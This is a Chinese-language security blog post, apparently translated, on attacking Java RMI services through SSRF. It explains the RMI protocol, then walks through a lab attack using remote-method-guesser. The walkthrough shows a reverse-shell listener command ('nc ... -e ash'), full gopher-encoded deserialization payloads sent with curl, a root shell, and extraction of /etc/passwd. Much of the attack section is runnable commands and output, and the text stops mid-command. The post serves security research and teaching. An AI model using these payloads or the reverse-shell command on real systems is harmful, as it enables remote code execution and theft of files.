通过SSRF攻击Java RMI

通过SSRF攻击Java RMI

在过去的几年中,SSRF漏洞变得越来越流行,并且已经确定了几个高影响漏洞。后端可能的目标范围从基于HTTP的服务(如Solr)、云元数据服务,到更奇特的目标(如redis数据库)。在这篇博客文章中,我们讨论了Java RMI的 SSRFibility,并演示了如何通过SSRF 可以有针对性的攻击RMI 服务。

Java RMI 的 SSRFibility


Java RMI是一种面向对象的RPC远程过程调用)机制,在大多数Java安装中默认可用。开发人员可以使用Java RMI创建远程对象,在网络上公开其功能并允许远程客户端调用它们。Java RMI通信依赖于序列化的Java对象,这使得该协议成为攻击者的主要目标。在过去的几年里,Java RMI的安全性 有了很大的提高,但仍然经常遇到易受攻击的端点。此外,即使是完全打补丁的RMI当可用的远程对象暴露危险方法时,服务可以作为攻击者的入口点[1]

如果您曾经使用Java RMI实现过某些东西,您可能会怀疑该协议是否可以成为SSRF攻击的目标。对于那些从未在实践中使用过Java RMI的人,以下是一个典型RMI 客户端的简短示例:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import eu.tneitzel.rmi.interfaces.RemoteService;

public class ExampleClient {

  private static final String remoteHost = "172.17.0.2";
  private static final String boundName = "remote-service";

  public static void main(String[] args)
  {
    try {
      Registry registry = LocateRegistry.getRegistry(remoteHost);
      RemoteService ref = (RemoteService)registry.lookup(boundName);
      String response = ref.remoteMethod();
    
    } catch( Exception e) {
      e.printStackTrace();
    }
  }
}

这段代码剪断了基本上如下:

  1. 连接到RMI 注册中心Java RMI的名称服务,类似于DNS
  2. 查找名称remote-service以获取对远程对象的引用
  3. 调用远程对象remoteMethod上的函数

尽管ref在本地Java 虚拟机中创建了一个对象,但对该对象的调用会转发到RMI服务器。这表明Java RMI使用面向对象的 RPC机制,其中本地对象用于消费远程服务。这种面向对象的 RPC实现在本地对象和远程服务之间产生了强耦合的印象,这使得SSRF攻击看起来不可能。但这不是像RMI 协议那样的情况,比如HTTP,一种无状态协议,本地对象和远程服务之间只有松散耦合。但是我们先行一步,应该从RMI 注册表开始。

RMI 注册表

RMI注册表是经常被用来制作一个命名服务RMI在网络上可用的服务。为了连接到远程对象,客户端通常需要一定数量的信息:

  • 远程对象可用的 IP 地址和 TCP 端口
  • 远程对象实现的类或接口
  • 远程对象ObjID值(内部标识符)

所有这些信息都存储在RMI 注册表中,并且可以以人类可读的名称(绑定名称)进行访问。在上面的示例中,我们remote-service 从RMI 注册表中查找了人类可读的名称,并获得了对相应远程对象的引用。此引用存储远程过程调用所需的所有信息并将方法调用转发到远程对象

现在一个重要的细节是,RMI 注册表本身就是一个远程对象,但与RemoteService 远程对象相比RMI 注册表是一个众所周知的远程对象。这意味着,实现的类和分配的类ObjID是固定的,并且被RMI 客户端知道。因此,要与RMI 注册中心通信,只需要 IP 地址和 TCP 端口。这使得RMI 注册表更容易成为SSRF攻击的目标。

Java RMI 协议

RMI 服务是否可以成为SSRF攻击的目标取决于RMI协议的结构 。在下图中,我试图形象化典型的RMI通信的样子:

通过SSRF攻击Java RMI
Java RMI 协议

典型的RMI通信包括握手和一个或多个方法调用。在握手期间, 交换服务器和客户端主机上的一些静态数据和信息。值得注意的是,交换的信息都不依赖于先前接收到的数据。因此,可以预测握手期间使用的所有值,这在执行SSRF攻击时非常重要。

在后握手完成,客户端可以开始调度方法调用。通常可以在一个通信通道中调度多个方法调用,但是除了减少网络流量之外,它没有任何好处。如前所述,RMI协议是无状态的,无论是在一个通信通道中还是在多个通信通道中调度多个调用都没有区别。

SSRF 的角度来看,RMI协议的握手部分看起来有问题。SSRF漏洞通常只允许单次攻击,不可能进行像握手这样的交互通信。然而,在Java RMI的情况下,握手并不重要,因为RMI 服务器从底层TCP流中一个一个地读取数据。这允许客户端在开始时发送所有需要的数据,而无需等待任何服务器响应。下图再次显示了RMI协议,但这次将如何在SSRF攻击中使用它:

通过SSRF攻击Java RMI
SSRF 期间的 Java RMI 协议

到目前为止我们还没有谈到的另一个问题是数据类型。很明显,不能利用基于 HTTP的基本SSRF漏洞对RMI服务执行SSRF攻击。前几个字节(RMI 魔法)会导致流损坏并导致RMI服务出错。相反,您需要能够向目标RMI 服务发送任意字节。特别是需要允许空字节,这会导致问题,即使是基于gopherSSRF攻击对较新的 curl 版本[2]. 但是,当满足此条件并且您可以向RMI服务发送任意数据时,您可以像使用直接连接一样调度调用。

单一操作协议

熟悉RMI 内部结构的读者可能会问,为什么到目前为止我们还没有谈论单一操作协议。在向服务器发送RMI 魔法和协议版本后,RMI客户端发送一个额外的字节,指示他们想要使用的协议变体。Java RMI目前定义了三种不同的协议变体:

  • 流协议
  • 单一操作协议
  • 多路协议

虽然不再支持多路复用协议,但每个 RMI 端点都支持单一操作协议。在我们之前的讨论中,我们只讨论了Stream Protocol,它具有允许在一个通信通道内进行多个RMI调用的特性。的单操作协议,另一方面,只允许一个单一的RMI每个连接呼叫并执行时,因此是优选的选择SSRF攻击。

下图显示了Single Operation Protocol的数据流:

通过SSRF攻击Java RMI
单一操作协议

单一操作协议的问题在于它在默认的Java RMI实现中缺乏客户端支持。 Java RMI 会 根据底层连接类型自动决定 是使用单操作协议还是流协议。如果底层连接类型是可重用的,则使用流协议。默认情况下唯一提供的连接类型是 TCPConnection 类,它包含以下函数定义:

public boolean isReusable()
{
    return true;
}

这使得即使使用反射也很难修改协议类型。

在接下来的章节中,我们使用remote-method-guesser [3]来生成SSRF有效载荷。尽管该工具是用Java编写的并使用默认的Java RMI实现,但它使用自定义套接字工厂将SSRF有效负载从Stream转换为Single Operation Protocol。这是以下示例中使用的默认行为,但您也可以使用该选项生成流协议负载--stream-protocol

关于Java RMISSRFibilityStreamSingle Operation Protocol的区别不大,都可以用来发起SSRF攻击。使用Stream Protocol,我预计空闲连接会出现一些问题,因为RMI服务器在处理通过SSRF提供的初始调用后可能会等待其他RMI调用。但是,在我的测试中,我从未观察到这种行为。

ObjID 问题

Java RMI执行SSRF攻击需要客户端提前知道所有需要发送到RMI 服务器 的数据。这对于具有固定值的众所周知的RMI服务是可能的,例如RMI 注册表( )、激活系统( ) 或分布式垃圾收集器( )。其他远程对象在绑定到TCP端口时会 随机分配。猜测 an基本上是不可能的,因为它由以下组件组成:ObjIDObjID = 0ObjID = 1ObjID = 2ObjIDObjID

  • objNumlong创建的随机值SecureRandom(每个对象设置一次)
  • UID – 复合对象
    • uniqueintSecureRandom(每个主机设置一次)创建的随机值
    • time– 在作为int值导出期间创建的时间戳
    • count– 递增short开始于Short.MIN_VALUE

获取远程对象ObjID值是RMI客户端在使用RMI服务之前通常需要与RMI 注册中心对话的原因之一。

SSRF自定义攻击RMI端点现在不可能?好吧,并非完全不可能,但它们需要具有更多功能的SSRF漏洞,如前所述。我们现在至少需要两次射击,而不是执行一次射击攻击:

  1. 利用SSRF漏洞对RMI注册表执行lookup调用
  2. 使用获得的ObjID值通过SSRF定位远程对象

为此,我们显然需要一个SSRF漏洞来返回从目标端点获得的数据。此外,SSRF 需要允许返回数据中的任意字节,包括空字节。具有这些属性的SSRF漏洞极为罕见,但是当所有条件都满足时,您可以像使用直接连接一样使用任何RMI服务。

攻击 RMI 注册表

为了证明SSRFibility中的Java RMI的协议,现在我们将攻击的RMI注册表使用web应用是易受端点SSRF攻击。为了使这尽可能舒适,我们使用remote-method-guesser [3],这是一个集成了SSRF支持的Java RMI漏洞扫描器。所述远程方法-猜测者储存库还包含一个SSRF示例服务器[4] ,我们可以使用用于演示目的。以下演示的设置如下所示:

  • HTTP服务易受SSRF的范围内url对参数http://172.17.0.2:8000
  • RMI 注册表监听localhost:1090远程服务器
  • 易受RMI 注册表反序列化绕过的过时 Java 版本
  • CommonsCollections3.1RMI应用程序的类路径上可用
  • SSRF漏洞是卷曲基于并允许内空字节的gopher协议

我们从nmap扫描开始,以证明应用服务器没有直接暴露RMI端口:

$ nmap -p- -n 172.17.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-20 07:57 CET
Nmap scan report for 172.17.0.2
Host is up (0.000094s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT     STATE SERVICE
8000/tcp open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 1.50 seconds

为了演示SSRF漏洞,我们只使用一个普通的HTTP回调:

$ curl 'http://172.17.0.2:8000?url=http://172.17.0.1:8000/PoC'
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [20/Dec/2021 08:01:20] "GET /PoC HTTP/1.1" 200 -

现在我们对RMI 注册表执行反序列化攻击。在Java的应用服务器上的版本已经实现了反序列化的过滤器注册表通信,但很容易受到反序列化已知过滤器旁路。这些绕过通过创建到攻击者控制的服务器的出站RMI连接来工作。此出站连接不再受反序列化过滤器的保护,可用于实现任意反序列化。

首先,我们创建所需的侦听器:一个用于传入的RMI连接,另一个用于传入的 shell:

$ rmg listen 0.0.0.0 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash'
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:4444.
[+] Handing off to ysoserial...

$ nc -vlp 4445
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4445
Ncat: Listening on 0.0.0.0:4445

现在我们创建SSRF负载。使用remote-method-guesser创建SSRF有效载荷非常简单。几乎每个操作都支持该选项。设置此选项后,将生成相应的SSRF负载,而不是在远程服务器上执行请求的操作。为了我们的目的,我们需要 将远程服务器上的RMI 注册表作为目标,该服务器监听. 此外,我们使用有效负载 [5],这是RMI 注册表的最新反序列化过滤器绕过:--ssrflocalhost:1090AnTrinh

$ rmg serial 127.0.0.1 1090 AnTrinh 172.17.0.1:4444 --component reg --ssrf --gopher --encode
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	SSRF Payload: gopher%3A%2F%2F127.0.0.1%3A1090%2F_%254a%2552%254d%2549%2500%2502%254c%2550%25ac%25ed%2500%2505%2577%2522%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2502%2544%2515%254d%25c9%25d4%25e6%253b%25df%2573%2572%2500%2523%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2555%256e%2569%2563%2561%2573%2574%2552%2565%256d%256f%2574%2565%254f%2562%256a%2565%2563%2574%2545%2509%2512%2515%25f5%25e2%257e%2531%2502%2500%2503%2549%2500%2504%2570%256f%2572%2574%254c%2500%2503%2563%2573%2566%2574%2500%2528%254c%256a%2561%2576%2561%252f%2572%256d%2569%252f%2573%2565%2572%2576%2565%2572%252f%2552%254d%2549%2543%256c%2569%2565%256e%2574%2553%256f%2563%256b%2565%2574%2546%2561%2563%2574%256f%2572%2579%253b%254c%2500%2503%2573%2573%2566%2574%2500%2528%254c%256a%2561%2576%2561%252f%2572%256d%2569%252f%2573%2565%2572%2576%2565%2572%252f%2552%254d%2549%2553%2565%2572%2576%2565%2572%2553%256f%2563%256b%2565%2574%2546%2561%2563%2574%256f%2572%2579%253b%2570%2578%2572%2500%251c%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2552%2565%256d%256f%2574%2565%2553%2565%2572%2576%2565%2572%25c7%2519%2507%2512%2568%25f3%2539%25fb%2502%2500%2500%2570%2578%2572%2500%251c%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2552%2565%256d%256f%2574%2565%254f%2562%256a%2565%2563%2574%25d3%2561%25b4%2591%250c%2561%2533%251e%2503%2500%2500%2570%2578%2570%2577%2513%2500%2511%2555%256e%2569%2563%2561%2573%2574%2553%2565%2572%2576%2565%2572%2552%2565%2566%2532%2578%2500%2500%2500%2500%2570%2573%257d%2500%2500%2500%2502%2500%2526%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2552%254d%2549%2553%2565%2572%2576%2565%2572%2553%256f%2563%256b%2565%2574%2546%2561%2563%2574%256f%2572%2579%2500%250f%256a%2561%2576%2561%252e%2572%256d%2569%252e%2552%2565%256d%256f%2574%2565%2570%2578%2572%2500%2517%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%2572%2565%2566%256c%2565%2563%2574%252e%2550%2572%256f%2578%2579%25e1%2527%25da%2520%25cc%2510%2543%25cb%2502%2500%2501%254c%2500%2501%2568%2574%2500%2525%254c%256a%2561%2576%2561%252f%256c%2561%256e%2567%252f%2572%2565%2566%256c%2565%2563%2574%252f%2549%256e%2576%256f%2563%2561%2574%2569%256f%256e%2548%2561%256e%2564%256c%2565%2572%253b%2570%2578%2570%2573%2572%2500%252d%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2552%2565%256d%256f%2574%2565%254f%2562%256a%2565%2563%2574%2549%256e%2576%256f%2563%2561%2574%2569%256f%256e%2548%2561%256e%2564%256c%2565%2572%2500%2500%2500%2500%2500%2500%2500%2502%2502%2500%2500%2570%2578%2571%2500%257e%2500%2504%2577%2533%2500%250a%2555%256e%2569%2563%2561%2573%2574%2552%2565%2566%2500%250a%2531%2537%2532%252e%2531%2537%252e%2530%252e%2531%2500%2500%2511%255c%2500%2500%2500%2500%2500%2500%2500%257b%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2578

SSRF有效载荷可以以不同的格式生成。我们选择gopher格式并对有效负载进行URL编码,使其可直接在curl命令中使用。现在我们只需要将此有效负载发送到远程服务器:

$ curl 'http://172.17.0.2:8000?url=gopher%3A%2F%2F127.0.0.1%3A1090%2F_%254a%2552%254d%2549%2500%2502%254c%2550%25ac%25ed%2500%2505%2577%2522%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2502%2544%2515%254d%25c9%25d4%25e6%253b%25df%2573%2572%2500%2523%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2555%256e%2569%2563%2561%2573%2574%2552%2565%256d%256f%2574%2565%254f%2562%256a%2565%2563%2574%2545%2509%2512%2515%25f5%25e2%257e%2531%2502%2500%2503%2549%2500%2504%2570%256f%2572%2574%254c%2500%2503%2563%2573%2566%2574%2500%2528%254c%256a%2561%2576%2561%252f%2572%256d%2569%252f%2573%2565%2572%2576%2565%2572%252f%2552%254d%2549%2543%256c%2569%2565%256e%2574%2553%256f%2563%256b%2565%2574%2546%2561%2563%2574%256f%2572%2579%253b%254c%2500%2503%2573%2573%2566%2574%2500%2528%254c%256a%2561%2576%2561%252f%2572%256d%2569%252f%2573%2565%2572%2576%2565%2572%252f%2552%254d%2549%2553%2565%2572%2576%2565%2572%2553%256f%2563%256b%2565%2574%2546%2561%2563%2574%256f%2572%2579%253b%2570%2578%2572%2500%251c%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2552%2565%256d%256f%2574%2565%2553%2565%2572%2576%2565%2572%25c7%2519%2507%2512%2568%25f3%2539%25fb%2502%2500%2500%2570%2578%2572%2500%251c%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2552%2565%256d%256f%2574%2565%254f%2562%256a%2565%2563%2574%25d3%2561%25b4%2591%250c%2561%2533%251e%2503%2500%2500%2570%2578%2570%2577%2513%2500%2511%2555%256e%2569%2563%2561%2573%2574%2553%2565%2572%2576%2565%2572%2552%2565%2566%2532%2578%2500%2500%2500%2500%2570%2573%257d%2500%2500%2500%2502%2500%2526%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2552%254d%2549%2553%2565%2572%2576%2565%2572%2553%256f%2563%256b%2565%2574%2546%2561%2563%2574%256f%2572%2579%2500%250f%256a%2561%2576%2561%252e%2572%256d%2569%252e%2552%2565%256d%256f%2574%2565%2570%2578%2572%2500%2517%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%2572%2565%2566%256c%2565%2563%2574%252e%2550%2572%256f%2578%2579%25e1%2527%25da%2520%25cc%2510%2543%25cb%2502%2500%2501%254c%2500%2501%2568%2574%2500%2525%254c%256a%2561%2576%2561%252f%256c%2561%256e%2567%252f%2572%2565%2566%256c%2565%2563%2574%252f%2549%256e%2576%256f%2563%2561%2574%2569%256f%256e%2548%2561%256e%2564%256c%2565%2572%253b%2570%2578%2570%2573%2572%2500%252d%256a%2561%2576%2561%252e%2572%256d%2569%252e%2573%2565%2572%2576%2565%2572%252e%2552%2565%256d%256f%2574%2565%254f%2562%256a%2565%2563%2574%2549%256e%2576%256f%2563%2561%2574%2569%256f%256e%2548%2561%256e%2564%256c%2565%2572%2500%2500%2500%2500%2500%2500%2500%2502%2502%2500%2500%2570%2578%2571%2500%257e%2500%2504%2577%2533%2500%250a%2555%256e%2569%2563%2561%2573%2574%2552%2565%2566%2500%250a%2531%2537%2532%252e%2531%2537%252e%2530%252e%2531%2500%2500%2511%255c%2500%2500%2500%2500%2500%2500%2500%257b%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2578'

这应该会在我们的侦听器上导致传入连接,我们应该获得一个 shell:

$ rmg listen 0.0.0.0 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash'
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:4444.
[+] Handing off to ysoserial...
Have connection from /172.17.0.2:51246
Reading message...
Sending return with payload for obj [0:0:0, 123]
Closing connection

$ nc -vlp 4445
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4445
Ncat: Listening on 0.0.0.0:4445
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:33809.
id
uid=0(root) gid=0(root) groups=0(root)

我们成功地使用了一个盲目的SSRF漏洞来攻击一个易受攻击的RMI 注册表。以下 gif 显示了上述所有操作步骤:

通过SSRF攻击Java RMI
RMI 注册表 SSRF 攻击

攻击自定义 RMI 服务

来自remote-method-guesser存储库的 ssrf-server [4]运行一个自定义RMI 服务,该服务RMI 注册表一样,只能从本地主机访问。相应的服务实现了 具有以下方法签名的接口:IFileManager

public interface IFileManager extends Remote
{
    File[] list(String dir);
    byte[] read(String file);
    String write(String file, byte[] content);
    String copy(String src, String dest);
}

我们想利用HTTP前端的SSRF漏洞来调用该方法并 从服务器中提取文件。听起来很简单,但是我们需要首先获取TCP端点和远程对象的值, 并且需要通过SSRFRMI 注册表执行查找操作。为此,我们可以再次使用 remote-method-guesserread/etc/passwdObjID

使用remote-method-guesser 的 enum操作时,将对目标RMI 端点执行几种不同的检查。在RMI 注册端点上,其中一项检查包括查找所有可用的远程对象。将--ssrf 选项与enum操作一起使用时,不可能一次执行多个检查,并且创建的SSRF负载仅执行单个检查。您可以使用该--scan-action <CHECK>选项来选择要执行的检查。在这种情况下,我们要执行list检查,列出RMI 注册表中所有可用的绑定名称:

$ rmg enum 127.0.0.1 1090 --scan-action list --ssrf --gopher --encode
[+] SSRF Payload: gopher%3A%2F%2F127.0.0.1%3A1090%2F_%254a%2552%254d%2549%2500%2502%254c%2550%25ac%25ed%2500%2505%2577%2522%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2501%2544%2515%254d%25c9%25d4%25e6%253b%25df
$ curl 'http://172.17.0.2:8000?url=gopher%3A%2F%2F127.0.0.1%3A1090%2F_%254a%2552%254d%2549%2500%2502%254c%2550%25ac%25ed%2500%2505%2577%2522%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2501%2544%2515%254d%25c9%25d4%25e6%253b%25df' --silent | xxd -p -c1000
51aced0005770f0183f5ecf20000017dffcbc0c18006757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000074002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a617278700000000274000b46696c654d616e616765727400066a6d78726d69

我们使用的ssrf-server实现了一个能够返回二进制数据的SSRF漏洞。此二进制数据现在包含来自RMI 注册表的响应。为了从响应中提取所需的信息,我们可以使用remote-method-guesser 的 --ssrf-response选项。此选项从RMI 端点获取十六进制编码的响应 并在指定的上下文中解释它:

$ rmg enum 127.0.0.1 1090 --scan-action list --ssrf-response 51aced0005770f0183f5ecf20000017dffcbc0c18006757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000074002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a617278700000000274000b46696c654d616e616765727400066a6d78726d69
[+] RMI registry bound names:
[+]
[+] 	- FileManager
[+] 	- jmxrmi

现在我们在RMI 注册表中获得了可用的绑定名称,但我们仍然缺少TCP端点和值。这里的问题是remote-method-guesser需要先调用注册表的函数,然后才能执行 调用。由于每次SSRF攻击只能进行一次调用,因此该调用丢失了。但是,我们可以使用 选项直接指定目标绑定名称,并且在这种情况下remote-method-guesser跳过调用:ObjIDlistlookuplookup--bound-namelist

$ rmg enum 127.0.0.1 1090 --scan-action list --bound-name FileManager --ssrf --gopher --encode
[+] SSRF Payload: gopher%3A%2F%2F127.0.0.1%3A1090%2F_%254a%2552%254d%2549%2500%2502%254c%2550%25ac%25ed%2500%2505%2577%2522%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2502%2544%2515%254d%25c9%25d4%25e6%253b%25df%2574%2500%250b%2546%2569%256c%2565%254d%2561%256e%2561%2567%2565%2572
$ curl 'http://172.17.0.2:8000?url=gopher%3A%2F%2F127.0.0.1%3A1090%2F_%254a%2552%254d%2549%2500%2502%254c%2550%25ac%25ed%2500%2505%2577%2522%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2502%2544%2515%254d%25c9%25d4%25e6%253b%25df%2574%2500%250b%2546%2569%256c%2565%254d%2561%256e%2561%2567%2565%2572' --silent | xxd -p -c1000
51aced0005770f0183f5ecf20000017dffcbc0c18007737d00000002000f6a6176612e726d692e52656d6f7465002764652e7174632e726d672e7365727665722e737372662e726d692e4946696c654d616e6167657274002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a6172787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b71007e000178707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c6572000000000000000202000071007e00017872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000071007e000178707732000a556e696361737452656600096c6f63616c686f73740000a415015a236da33de6b483f5ecf20000017dffcbc0c180010178
$ rmg enum 127.0.0.1 1090 --scan-action list --bound-name FileManager --ssrf-response 51aced0005770f0183f5ecf20000017dffcbc0c18007737d00000002000f6a6176612e726d692e52656d6f7465002764652e7174632e726d672e7365727665722e737372662e726d692e4946696c654d616e6167657274002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a6172787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b71007e000178707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c6572000000000000000202000071007e00017872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000071007e000178707732000a556e696361737452656600096c6f63616c686f73740000a415015a236da33de6b483f5ecf20000017dffcbc0c180010178
[+] RMI registry bound names:
[+]
[+] 	- FileManager
[+] 		--> de.qtc.rmg.server.ssrf.rmi.IFileManager (unknown class)
[+] 		    Endpoint: localhost:42005  TLS: no  ObjID: [-7c0a130e:17dffcbc0c1:-7fff, 97429295739037364]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://localhost:8000/rmi-class-definitions.jar
[+] 		--> de.qtc.rmg.server.ssrf.rmi.IFileManager

现在我们拥有了我们需要的一切。目标远程对象localhost:42005使用ObjIDof 侦听[-7c0a130e:17dffcbc0c1:-7fff, 97429295739037364]。我们现在可以使用remote-method-guesser 的 call操作来调用read此对象上的方法:

$ rmg call 127.0.0.1 42005 '"/etc/passwd"' --signature 'byte[] read(String file)' --objid '[-7c0a130e:17dffcbc0c1:-7fff, 97429295739037364]' --ssrf --gopher --encode
[+] SSRF Payload: gopher%3A%2F%2F127.0.0.1%3A42005%2F_%254a%2552%254d%2549%2500%2502%254c%2550%25ac%25ed%2500%2505%2577%2522%2501%255a%2523%256d%25a3%253d%25e6%25b4%2583%25f5%25ec%25f2%2500%2500%2501%257d%25ff%25cb%25c0%25c1%2580%2501%25ff%25ff%25ff%25ff%258c%256a%255e%2578%25a5%2563%252a%258f%2574%2500%250b%252f%2565%2574%2563%252f%2570%2561%2573%2573%2577%2564
$ curl 'http://172.17.0.2:8000?url=gopher%3A%2F%2F127.0.0.1%3A42005%2F_%254a%2552%254d%2549%2500%2502%254c%2550%25ac%25ed%2500%2505%2577%2522%2501%255a%2523%256d%25a3%253d%25e6%25b4%2583%25f5%25ec%25f2%2500%2500%2501%257d%25ff%25cb%25c0%25c1%2580%2501%25ff%25ff%25ff%25ff%258c%256a%255e%2578%25a5%2563%252a%258f%2574%2500%250b%252f%2565%2574%2563%252f%2570%2561%2573%2573%2577%2564' --silent | xxd -p -c10000
51aced0005770f0183f5ecf20000017dffcbc0c18009757200025b42acf317f8060854e0020000707870000004d4726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f6173680a62696e3a783a313a313a62696e3a2f62696e3a2f7362696e2f6e6f6c6f67696e0a6461656d6f6e3a783a323a323a6461656d6f6e3a2f7362696e3a2f7362696e2f6e6f6c6f67696e0a61646d3a783a333a343a61646d3a2f7661722f61646d3a2f7362696e2f6e6f6c6f67696e0a6c703a783a343a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7362696e2f6e6f6c6f67696e0a73796e633a783a353a303a73796e633a2f7362696e3a2f62696e2f73796e630a73687574646f776e3a783a363a303a73687574646f776e3a2f7362696e3a2f7362696e2f73687574646f776e0a68616c743a783a373a303a68616c743a2f7362696e3a2f7362696e2f68616c740a6d61696c3a783a383a31323a6d61696c3a2f7661722f6d61696c3a2f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a31333a6e6577733a2f7573722f6c69622f6e6577733a2f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31343a757563703a2f7661722f73706f6f6c2f757563707075626c69633a2f7362696e2f6e6f6c6f67696e0a6f70657261746f723a783a31313a303a6f70657261746f723a2f726f6f743a2f7362696e2f6e6f6c6f67696e0a6d616e3a783a31333a31353a6d616e3a2f7573722f6d616e3a2f7362696e2f6e6f6c6f67696e0a706f73746d61737465723a783a31343a31323a706f73746d61737465723a2f7661722f6d61696c3a2f7362696e2f6e6f6c6f67696e0a63726f6e3a783a31363a31363a63726f6e3a2f7661722f73706f6f6c2f63726f6e3a2f7362696e2f6e6f6c6f67696e0a6674703a783a32313a32313a3a2f7661722f6c69622f6674703a2f7362696e2f6e6f6c6f67696e0a737368643a783a32323a32323a737368643a2f6465762f6e756c6c3a2f7362696e2f6e6f6c6f67696e0a61743a783a32353a32353a61743a2f7661722f73706f6f6c2f63726f6e2f61746a6f62733a2f7362696e2f6e6f6c6f67696e0a73717569643a783a33313a33313a53717569643a2f7661722f63616368652f73717569643a2f7362696e2f6e6f6c6f67696e0a7866733a783a33333a33333a5820466f6e74205365727665723a2f6574632f5831312f66733a2f7362696e2f6e6f6c6f67696e0a67616d65733a783a33353a33353a67616d65733a2f7573722f67616d65733a2f7362696e2f6e6f6c6f67696e0a63797275733a783a38353a31323a3a2f7573722f63797275733a2f7362696e2f6e6f6c6f67696e0a76706f706d61696c3a783a38393a38393a3a2f7661722f76706f706d61696c3a2f7362696e2f6e6f6c6f67696e0a6e74703a783a3132333a3132333a4e54503a2f7661722f656d7074793a2f7362696e2f6e6f6c6f67696e0a736d6d73703a783a3230393a3230393a736d6d73703a2f7661722f73706f6f6c2f6d71756575653a2f7362696e2f6e6f6c6f67696e0a67756573743a783a3430353a3130303a67756573743a2f6465762f6e756c6c3a2f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f3a2f7362696e2f6e6f6c6f67696e0a6375726c5f757365723a783a3130303a3130313a4c696e757820557365722c2c2c3a2f686f6d652f6375726c5f757365723a2f7362696e2f6e6f6c6f67696e0a
$ rmg call 127.0.0.1 42005 '"/etc/passwd"' --signature 'byte[] read(String file)' --objid '[-7c0a130e:17dffcbc0c1:-7fff, 97429295739037364]' --plugin GenericPrint.jar --ssrf-response 